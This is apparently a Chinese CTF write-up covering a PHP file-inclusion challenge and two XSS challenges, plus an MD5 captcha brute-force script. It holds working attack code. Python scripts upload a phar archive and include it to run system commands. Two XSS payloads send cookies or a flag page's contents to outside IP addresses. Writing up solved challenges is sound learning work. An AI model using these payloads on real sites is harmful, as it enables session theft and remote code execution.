记录一下被虐的道理
Babyweb
第一次做这种文件上传包含漏洞吧。
看到page之后,想到文件包含,先用"php://filter/read=convert.base64-encode/resource="
filter伪协议读一下源码.整理了一下几个重要的源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| ***Upload.php: <html lang="zh-CN"> <head> <meta charset="utf-8"> <?php $error=$_FILES['pic']['error']; $tmpName=$_FILES['pic']['tmp_name']; $name=$_FILES['pic']['name']; $size=$_FILES['pic']['size']; $type=$_FILES['pic']['type']; try{ if($name!=="") { $name1=substr($name,-4); if(($name1!==".gif") and ($name1!==".jpg")) { echo "hehe"; echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>"; exit; } if($type!=="image/jpeg"&&$type!=="image/gif") { //echo mime_content_type($tmpName); echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>"; exit; } if(is_uploaded_file($tmpName)){ $time=time(); $rootpath='uploads/'.$time.$name1; if(!move_uploaded_file($tmpName,$rootpath)){ echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>"; exit; } else{ sleep(2); if ($type=='image/jpeg') { $im = @imagecreatefromjpeg($rootpath); if(!$im){ $im = imagecreatetruecolor(150, 30); $bg = imagecolorallocate($im, 255, 255, 255); $text_color = imagecolorallocate($im, 0, 0, 255); imagefilledrectangle($im, 0, 0, 150, 30, $bg); imagestring($im, 3, 5, 5, "Error loading image", $text_color); } else { $time=time(); $new_rootpath='uploads/'.$time.$name1; imagejpeg($im,$new_rootpath); imagedestroy($im); } } else if ($type=='image/gif') { $im = @imagecreatefromgif($rootpath); if(!$im){ $im = imagecreatetruecolor(150, 30); $bg = imagecolorallocate($im, 255, 255, 255); $text_color = imagecolorallocate($im, 0, 0, 255); imagefilledrectangle($im, 0, 0, 150, 30, $bg); imagestring($im, 3, 5, 5, "Error loading image", $text_color); } else { $time=time(); $new_rootpath='uploads/'.$time.$name1; imagegif($im,$new_rootpath); imagedestroy($im); } } unlink($rootpath); } } echo "图片ID:".$time; } } catch(Exception $e) { echo "ERROR"; } // ?> </html>
|
观察代码,可以发现上传的文件的临时文件名是time
函数生成的,而且在sleep(2)
之后就会经过一系列复杂的变化(反正没看懂),所以要在两秒内把上传的文件包含。
而且通过扫描,发现uploads目录可以访问
所以现在的思路就是,写两个脚本,一个来上传文件,另一个来通过访问uploads来读到最新的那个文件名,然后去包含它
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ***upload.py: #!/usr/bin/env python # encoding: utf-8 import requests url = "http://202.112.51.217:8199/upload.php" data = { 'title': 'admin', 'url': 'admin' } files = {'pic': ('b.jpg', open("b.zip").read(), 'image/jpeg')} # 这里使用 requests 库来上传文件有几种方式 # 这种方式可以控制文件名以及文件类型 # 可以用来绕过基于客户端的文件名和文件类型检测 response = requests.post(url, data=data, files=files) content = response.content print content
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| ***include.py #!/usr/bin/env python # encoding: utf-8 import requests url = "http://202.112.51.217:8199/uploads/" response = requests.get(url) content = response.content files = [] for line in content.split("\n"): if "href=" in line: files.append(line.split("href=\"")[1].split("\">")[0]) filename = files[-1] print filename #url = "http://202.112.51.217:8199/index.php?page=php://filter/read=convert.base64-decode/resource=phar://uploads/"+filename+"/b&c=system('ls');" url = "http://202.112.51.217:8199/index.php?page=php://filter/read=convert.base64-decode/resource=phar://uploads/"+filename+"/b&c=system('cat ./xxxxxxxxxasdasf_flag.php');" print requests.get(url).content
|
主要解释一下url那行,从右到左看,c是传入的参数,b是文件名,因为会自动加.php,所以其实是b.php,filename是最新的那个文件名,基本上就是你上传的那个,phar去读取,所以连起来就是用phar去读取你的那个b.php,然后经过base64解密。
XSS1
由于对js和html一点都不懂,所以做起这种题目一点思路都没有,看着大佬们一个一个标签一个一个方法
这是xman个人排位赛上的一道题,赛后拿着大佬的wp和payload一行一行敲出来的
1 2 3 4 5 6 7 8 9 10 11 12 13
| <script> var iframe=document.body.createElement('iframe'); iframe.src="./"; document.body.appendChild(iframe); iframe.onload=function(){ var c=document.cookie; var n=document.createElement("link"); n.setAttribute("rel","prefetch"); n.setAttribute("href","//101.200.58.21:8080/?" + c"); document.head.appendChild(n); } </script>
|
这估计是最简单的xss攻击脚本了,就是简单的把document.cookie打到101.200.58.21:8080,而且没有任何的过滤,连script都可以用,然后监听vps就可以了
唉web就是个坑
XSS2
其实跟第一个题目差不多,也没过滤东西,不过需要这次flag不在cookie里,而是需要读取flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| var iframe = document.createElement("iframe"); iframe.src = "./flag.php"; document.body.appendChild(iframe); iframe.onload = function (){ var flag = document.getElementsByTagName("iframe")[0].contentWindow.document.getElementsByTagName("body")[0].innerHTML; var n0t = document.createElement("link"); n0t.setAttribute("rel", "prefetch"); n0t.setAttribute("href", "//121.42.189.18:8080/?" +flag); document.head.appendChild(n0t); }
|
其中唯一不一样的就是var flag = document.getElementsByTagName(“iframe”)[0].contentWindow.document.getElementsByTagName(“body”)[0].innerHTML;
这句代码,其实可以分成三段,第一段是得到iframe子窗口,第二段contentwindow是进入子窗口,第三段是读取子窗口的body变量用html实体输出
附上MD5验证码爆破脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| # -*- coding:utf8 -*- import hashlib def crack_code(code): s = 100000 while 1: m2 = hashlib.md5() m2.update(repr(s)) if (m2.hexdigest()[0:4]==code): return s break s+=1 print crack_code('818d')
|